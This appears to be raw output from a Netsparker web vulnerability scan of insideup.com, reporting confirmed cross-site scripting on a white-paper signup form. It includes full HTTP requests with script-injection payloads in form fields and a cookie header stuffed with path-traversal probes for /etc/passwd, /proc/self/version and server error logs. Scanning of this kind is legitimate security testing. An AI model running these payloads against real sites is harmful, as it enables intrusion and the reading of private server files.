Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="'"--></style></script><script>netsparker(0x0003F5)</script>"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td> </td>..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	'"--></style></script><script>alert(0x000439)</script>
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	3
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 225
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company=3&companyServices=3&email=netsparker%40example.com&firstName='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000439)%3c%2fscript%3e&iusrc=3&lastName=Smith&parentPage=3&phone=3&src=aboutUs&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:20:43 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=4F607FB0A2B29A85F6626116F503E161; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="'"--></style></script><script>netsparker(0x000439)</script>"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>&am..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	'"--></style></script><script>alert(0x00045F)</script>
lastName	POST	Smith
parentPage	POST	3
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
